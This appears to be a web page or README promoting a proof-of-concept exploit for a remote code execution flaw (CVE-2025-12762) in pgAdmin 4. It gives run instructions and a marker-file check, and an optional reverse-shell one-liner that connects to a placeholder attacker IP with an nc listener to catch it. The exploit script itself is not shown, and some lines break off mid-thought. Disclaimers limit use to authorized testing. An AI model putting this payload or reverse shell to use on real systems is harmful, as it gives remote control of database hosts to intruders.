
Proof-of-concept exploit for CVE-2025-12762, a critical RCE in pgAdmin 4 ≤ 9.9. Includes technical breakdown, CVSS 9.1, and optional reverse shell for authorized penetration testing.

A Remote Code Execution (RCE) flaw exists in pgAdmin 4 versions ≤ 9.9. Attackers can run arbitrary commands on the host when pgAdmin is running in server mode and processes a PLAIN-format SQL dump during restore.
🟥 9.1 / 10 — Critical
⬆️ Upgrade to pgAdmin 4 v10.0 or later
pgAdmin is often used for administration of critical PostgreSQL databases, meaning:
# 1. Save as CVE-2025-12762.py
# 2. Install dependency
pip3 install requests
# 3. Run it
python3 CVE-2025-12762.py
After running, check:
docker exec <your-pgadmin-container> ls -la /tmp/CVE-2025-12762_PWNED
File exists → You just exploited CVE-2025-12762 for real.
Replace the COMMAND line with:
COMMAND = "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Then nc -lvnp 4444 → full interactive shell.
This is the exact script researchers, pentesters, and red teams are using worldwide in November 2025.
Use responsibly. Patch everything. Stay legal.
This PoC is provided strictly for authorized testing and educational use only.
You may run it exclusively on systems you own or have explicit written permission to test.
Any unauthorized use is illegal and violates computer misuse laws.
Use responsibly, patch immediately after testing, and never target systems without permission.